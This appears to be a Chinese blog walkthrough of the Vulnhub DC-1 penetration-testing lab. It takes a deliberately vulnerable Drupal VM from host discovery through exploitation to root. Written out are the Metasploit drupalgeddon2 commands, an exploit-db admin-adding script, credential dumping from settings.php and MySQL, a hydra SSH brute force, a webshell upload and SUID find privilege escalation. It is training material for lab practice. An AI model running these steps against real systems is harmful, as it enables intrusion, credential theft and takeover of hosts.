看更多:我的博客
Vulnhub
簡介
Vulnhub是一個提供各種漏洞環境的靶場平臺,大部分環境是做好的虛擬機鏡像文件,鏡像預先設計了多種漏洞,需要使用VMware或者VirtualBox運行。每個鏡像會有破解的目標,挑戰的目標是獲取操作系統的root權限和查看flag。
部署方法
1.在官網搜索你想要的鏡像,然後下載【建議下載 (Mirror)版本】
2.下載好後解壓得到.ova
的文件,右擊選擇VMware進行打開
3.在彈出的框中,選擇存放的位置,然後點擊導入
4.最後等待導入完成,然後啓動該虛擬機就可以了
DC-1__drupal
靶機下載地址:https://download.vulnhub.com/dc/DC-1.zip
靶機描述:DC-1 是一個專門構建的易受攻擊的實驗室,旨在獲得滲透測試領域的經驗。共有五個flag,但最終目標是拿到root目錄中的flag。
一、信息收集
運行部署好的虛擬機,提示需要賬號密碼,該靶機不提供密碼需要自己去滲透提權
因不知道DC-1靶機的IP,所有我們需要將靶機和攻擊機kali放在同一個局域網裏面,將Kali的網絡適配器使用橋接模式
1.探測目標
方法一:使用arp-scan工具
探測同一區域中存活主機
$ sudo arp-scan -l
-l 使用網絡接口
方法二:使用netdiscover工具
探測存活主機
$ sudo netdiscover -i eth0
-i device 用於嗅探和注入數據包的網絡接口
方法三:使用nmap工具
$ sudo ifconfig #查看kali的ip【192.168.0.103】
$ nmap 192.168.0.0/24
2.查看目標開放端口
$ nmap -sV -p- 192.168.0.119
-sV 用來掃描目標主機和端口上運行的軟件的版本
-p- 掃描0-65535全部端口
目標靶機開放了80端口,在瀏覽器打開該站點
3.查看網頁相關信息
使用瀏覽器插件Wappalyzer
,這個插件可以檢測網站的CMS,框架,服務器等信息,
可以看到該網站使用CMS爲Drupal
,其實在網頁界面和底部都能發現是Drupal
二、漏洞查找與利用
1.漏洞查找
使用Metasploit搜索Drupal
$ sudo msfdb init && msfconsole
$ search Drupal
[圖片上傳失敗...(image-7af5c1-1589762563802)]
2.漏洞利用
優先選擇上面查到模塊的Rank爲excellent並且時間較新的模塊,這裏我們使用第4個
$ use exploit/unix/webapp/drupal_drupalgeddon2
$ show options
$ set RHOSTS 192.168.0.119
$ exploit 或者 run
#當出現“Meterpreter session 1 opened”說明利用成功
三、Getshell
1.獲取普通shell
meterpreter >shell
ls
發現有個flag1.txt
,打開看一哈
$ cat flag1.txt
Every good CMS needs a config file - and so do you.
翻譯:每一個好的CMS都需要一個配置文件,你也一樣。
百度查到Drupal的默認配置文件爲 /var/www/sites/default/settings.php
cat /var/www/sites/default/settings.php
配置文件中看到了flag2
翻譯:蠻力和字典攻擊不行,唯一方法是獲得訪問權限(你將需要訪問的)。你能用這些憑證做什麼?
同時,還有獲得了數據庫賬號和密碼
'username' => 'dbuser',
'password' => 'R0ck3t',
2.獲取交互式shell
使用python反彈一個交互式shell,然後我們登陸數據庫
$ python -c 'import pty; pty.spawn("/bin/bash")'
$ mysql -udbuser -p
Enter password:R0ck3t
查看數據庫,在drupaldb庫users表中發現admin用戶
mysql> show databases; #[drupaldb]
mysql> use drupaldb;
mysql> show tables; #[users]
mysql> select * from users;
可以看到admin用戶的密碼被加密了的,但是我們可以想辦法修改密碼或新增一個admin權限的用戶
方法一:修改admin用戶的密碼
使用Drupal對數據庫的加密方法,生成一個新密碼,然後把新的密碼更新到admin用戶
加密腳本位置在/var/www/scripts/password-hash.sh
下
$ php scripts/password-hash.sh jwt #生成新密碼jwt
# hash:$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX
mysql> update drupaldb.users set pass="$S$D5HTFVPccZrLCEJ7CzFvPvvh5zlSRhjF6E7AZ0Wg0R.cDGjgChoX" where name="admin";
方法二:新增一個admin權限的用戶
在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權限的用戶賬號
查看Drupal版本,確定Drupal版本爲7.24
$ cat /var/www/includes/bootstrap.inc | grep VERSION
msf > searchsploit drupal
攻擊腳本適用於7.31以下,所以適合7.24版本,可以利用漏洞增加admin權限用戶
增加有admin權限的用戶:admin1/admin1
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.100 -u admin1 -p admin1
輸入用戶名/密碼【admin/jwt或者admin1/admin1】,嘗試登陸
成功登陸
在後臺左上角的Find content
中發現flag3
flag3的信息中提到了passwd和shadow,很明顯就是/etc/passwd和/etc/shadow
,還提到了find、perms、-exec
,這幾個是提權用的。
我們來查看哈/etc/passwd和/etc/shadow
的內容
/etc/passwd 是一個純文本文件。它存儲用戶帳戶信息。它包含系統帳戶的列表,爲每個帳戶提供一些有用的信息,如用戶 ID、組 ID、主目錄、shell 等
etc/shadow是/etc/passwd的影子文件,存有密碼信息
$ cat /etc/passwd
或者
$ tail -3 /etc/passwd #爲了方便截圖,只顯示文件的最後三行
$ cat /etc/shadow #權限不夠查看失敗
發現有個叫flag4
的賬號,但是查看使用/etc/shadow
失敗,但是前面nmap掃描的時候發現了 ssh 服務,現在又發現了 flag4 用戶,所以嘗試使用hydra
進行密碼的暴力猜解
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.0.100 ssh
或者
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
#ip變成192.168.0.100,是應爲我重啓了,靶機ip變了
-l 指定破解的用戶
-P 指定密碼字典
ssh://ip 指定使用協議和ip地址
使用得到用戶名密碼【 flag4/orange】,登錄靶機
也可以用kali直接遠程連接
ssh [email protected]
$ ls
$ cat flag4.txt
flag4提示flag在root目錄下,在/root
下發現thefinalflag.txt
,但是沒有讀取的權限
3.上傳冰蠍馬獲取shell
當然你還可以利用meterperter的shell直接上傳冰蠍的shell。
meterperter> upload /home/jwt/Desktop/shell.php /var/www/shell.php
然後冰蠍連接就可以了
四、提升權限
根據flag3和flag4都提到了find,所以下面我們利用find文件提權
參考:Linux下用SUID提權、linux提權-SUID提權、find命令之exec
SUID可以讓調用者以文件擁有者的身份運行該文件,所以我們利用SUID提權的思路就是運行root用戶所擁有的SUID的文件,那麼我們運行該文件的時候就得獲得root用戶的身份了。
#查找具有root權限的SUID的文件
$ find / -perm -u=s -type f 2>/dev/null
可以看到find命令具有SUID權限,如果find以SUID權限運行,所有通過find執行的命令都會以root權限運行。
$ touch jwt
#查找根目錄下名爲jwt的文件並執行shell
$ find / -name jwt -exec "/bin/sh" \;
#-exec 參數後面跟的是command命令,它的終止是以;爲結束標誌的,所以這句命令後面的分號是不可缺少的,考慮到各個系統中分號會有不同的意義,所以在分號前面加反斜槓。
可以看到已經成功提權拿到root shell,接下來就來查看最終的flag吧
cd /root
ls
cat thefinalflag.txt
到這裏我們就成功獲取到了5個flag,併成功走完了整個滲透流程
五、總結
1.掃描局域網主機
sudo arp-scan -l
參考:kali之arp-scan
sudo netdiscover -i eth0
參考:netdiscover用法
nmap 192.168.0.0/24
2.MSF使用
參考:MSF之命令筆記篇
3.hydra爆破
sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100
4.suid提權
參考:Linux下用SUID提權、linux提權-SUID提權、find命令之exec
贊助💰
如果你覺得對你有幫助,你可以贊助我一杯冰可樂吧!
<table>
<tbody>
<tr>
<td style="text-align:center;">支付寶支付</td>
<td style="text-align:center;">微信支付</td>
</tr>
<tr>
<td style="text-align:center;" ><img width="200" src="https://jwt1399.top/medias/reward/alipay.png"></td>
<td style="text-align:center;"><img width="200" src="https://jwt1399.top/medias/reward/wechat.png"></td>
</tr>
</tbody></table>